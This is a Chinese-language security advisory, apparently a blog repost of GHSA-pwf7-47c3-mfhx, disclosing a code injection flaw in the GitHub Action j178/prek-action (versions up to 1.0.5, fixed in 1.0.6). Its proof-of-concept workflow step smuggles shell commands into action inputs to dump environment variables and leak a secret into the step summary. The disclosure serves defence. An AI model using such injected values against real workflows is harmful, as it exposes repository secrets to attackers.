GitHub Actions 安全预警:j178/prek-action 组合操作存在任意代码注入漏洞

本文详细披露了 j178/prek-action 这一 GitHub Actions 存在的一个严重安全漏洞。攻击者可利用该漏洞在受害者的工作流上下文中执行任意代码,进而窃取敏感信息(如密钥),对仓库安全构成严重威胁。

GHSA-pwf7-47c3-mfhx:j178/prek-action 组合操作中的任意代码注入漏洞

漏洞详情

包名: j178/prek-action (GitHub Actions) 受影响版本: <= 1.0.5 已修复版本: 1.0.6 严重等级: 严重 (CVSS评分: 10.0)

描述

摘要

action.yml 文件中定义的组合操作(composite action)存在三个可导致任意代码注入的潜在攻击点。

详情

GitHub Action 的输入变量 inputs.prek-versioninputs.extra_argsinputs.extra-args 可被利用,从而在 Action 的运行上下文中执行任意代码。

概念验证 (PoC)

以下是一个利用该漏洞的示例工作流步骤配置:

1
2
3
4
5
6
- uses: j178/prek-action@v1.0.5
  with:
    prek-version: $(printenv >> $GITHUB_STEP_SUMMARY && echo "0.2.2")
    extra_args: '&& echo "MY_SECRET with a character is: ${MY_SECRET:0:1}a${MY_SECRET:1}" >> $GITHUB_STEP_SUMMARY && echo ""'
  env:
    MY_SECRET: ${{ secrets.MY_SECRET }}

上述示例将打印所有环境变量,并将 MY_SECRET 环境变量的值泄露到工作流摘要中。攻击者可能利用此攻击向量破坏目标仓库的安全性,并且由于 Action 会正常运行,攻击行为可能不易被察觉。

影响

严重,对应通用缺陷枚举(CWE)编号:CWE-94 CWE-94 描述: 对生成的代码控制不当(代码注入)。产品使用来自上游组件的外部影响输入来构建部分或全部代码段,但未对可能修改预期代码段语法或行为的特殊元素进行中和或中和不当。

参考信息

  • 安全公告ID: GHSA-pwf7-47c3-mfhx
  • 修复提交: j178/prek-action@6b7c6ef

CVSS v3.1 基准指标

  • 攻击向量 (AV): 网络 (N)
  • 攻击复杂度 (AC): 低 (L)
  • 所需权限 (PR): 低 (L)
  • 用户交互 (UI): 无 (N)
  • 范围 (S): 已改变 (C)
  • 机密性 (C): 高 (H)
  • 完整性 (I): 高 (H)
  • 可用性 (A): 高 (H)

完整向量字符串:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

致谢

感谢 mondeja 报告此漏洞。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计